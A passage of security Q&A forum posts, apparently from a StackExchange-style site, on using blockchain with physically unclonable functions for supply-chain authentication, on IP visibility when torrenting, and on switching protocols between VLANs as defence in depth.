It is gaining popularity: Blockchain is growing in popularity due to cryptocurrency, and many companies are starting to consider adopting it for other purposes.  Note, "starting" to consider - there are many issues including the fact that cryptography is hard for managers to get; plus, what is the business model for mining non-monetary transactions?  What do I get out of it, other than "I mine your transactions, you mine mine?"  Maybe that is enough.

Blockchain Combined with PUFs

Driving to the heart of your question, there is research into physical authentication systems that has led to something called physically unclonable functions, or PUFs.  A PUF is a special function of a hardware device, such as a CPU or other computer chip (FPGAs, RAMs, etc.) that responds to a challenge in an instance-specific way.  For instance, a ring oscillator can be created on the chip with a frequency that depends on both challenge bits given to it, and material variances in the fabrication process, and a counter can return the number of counts in a given amount of time.  Since each device is different, it is hard for a forger to predict the number of loops for a particular challenge without having access---current or prior---to the genuine article.

For a device with a PUF, certain points in the supply chain could challenge the PUF and record the results in the ledger, and later, a recipient of the device could verify all the recorded challenges.  There's probably a better way to do this without revealing the challenges, something where the points along the way could log a keyed hash of the challenge/response pairs using a key known only to the recipient.

For other physical entities, you could use a special chemical formulation that reacts differently to other "challenge" chemicals applied to it, so long as what is committed is not the actual response, but a proxy for it (hashed response).  This would have the benefit of ensuring correct sequencing through the supply chain.  If, at any point, someone replaced the genuine article with a counterfeit, they'd have to emulate the chemical state applied to the genuine article up to that point in the chain.  Maybe I am overthinking it.  Why not log hashed, very low dosages of radiation applied to a sensor securely tucked inside?  Or the same with GPS coordinates of the item's path from shipper to receiver correlated to other distinct items couriered by each link in the shipping path?  Etc.

Hope vs. Hype

You bring up an excellent observation, that much of this is hype designed to sell interest in a new technology.  The biggest problem that I see is what's in it for me?  To make blockchain work, each transaction submitted to the record must be "mined" by others in order to be added to the transaction chain.  With cryptocurrency, the reward for successful mining is a slice of the coin.  But how do you reward others for mining more mundane things like transactions?

You could create a company that does this "for a living," but recall that blockchain only makes sense when you have a large, non-colluding set of servers.  There would have to be many companies that would agree to do this.  Further, there would have to be compensation for logging items in the chain.  As with typical service industries, there's a very real risk of many small startups being acquired and folded into a set of few megaproviders, and then they would be able to manipulate the official record.

Summary

To wrap up, I had to think about this question, as it's an important one.  The key things that I would advise are that it's possible, but it's easier for some types of products than for others, and the big barrier is figuring out a reward system for those willing to maintain and commit to the ledger.

Hopefully, others in this thread can contribute to this discussion, or correct any errors I made.

Some further reading:

Bitcoin's Baby - http://www.bbc.com/news/technology-32781244 - a gentle if not too high level of an introduction to Blockchain.
Early Paper on PUFs - https://www.scopus.com/record/display.uri?eid=2-s2.0-34547307341&origin=inward&txGid=A0A55F5E2061FB0740ED8ED25EDB36BE.wsnAw8kcdt7IPYLO0V48gA%3a2


Privacy in torrents? It seems that if you download a file via torrent, each downloader can see other downloaders IP addresses. I also noticed that my (windows) pc's name was sometimes displayed briefly.

How does one keep the IP private ?

You can't really keep your IP private if you're using a torrent on the open internet.  The reason for this is the way the torrent protocol works.  You aren't downloading directly from the server; instead, you are downloading from other downloaders.  In order to get a file from said downloader, you must have some way to contact them - that is, an IP address or domain name.

There may be a possibility to use a privacy network such as TOR to avoid having your IP address found, but I don't know how to do it.


Is switching protocols a security measure worth implementing? We deploy our internet facing applications in multiple vlans and there is a rule that talking from one vlan to the next has to be done in another protocol or an other implementation of the protocol.

E.g.

[Internet] --https-> [apache@VLAN1] --ajp--> [tomcat@VLAN2] --jdbc--> [pgsql@VLAN3]

Vs.

[Internet] --https-> [apache@VLAN1] --https--> [apache@VLAN2] --https--> [apache@VLAN3]

Vs.

[Internet] --https-> [apache@VLAN1] --https--> [tomcat@VLAN2] --https--> [nginx@VLAN3]

The reason behind is if there is a exploit in one of the protocol implementations you cannot use the same exploit to break into the host in the next VLAN.

This is sometimes hard to achieve if all the services are providing REST APIs.

Is there any literature where I could read about this?
Or approaches that achieve the same protection.

Switching protocols as you describe essentially requires to analyze the syntax and semantics of the transferred data in order to translate the data into a new protocol. It also means that you need to have clearly defined semantics in the first place. Having clearly defined semantics itself can already improve security. And that these semantics gets implicitly enforced  when translating the data into a new protocol additionally lessens the ability of an attacker to exploiting the recipient.

Defining and enforcing the semantics could also be done without translating into a new protocol. But to translate into a different protocol
a more strict definition of syntax and semantic is needed and it is harder to make shortcuts to skip some checks. Insofar requiring protocol switching is a neat idea in order to make sure that developers actually know how the data should look like in the first place and that they also enforce it.

Of course, this only works if there is a real translation necessary. This would in your example be the case between HTTP and JDBC but not between HTTPS and HTTP. Since HTTPS is just HTTP over TLS and it would be enough to strip the TLS layer instead of enforcing protocol semantics.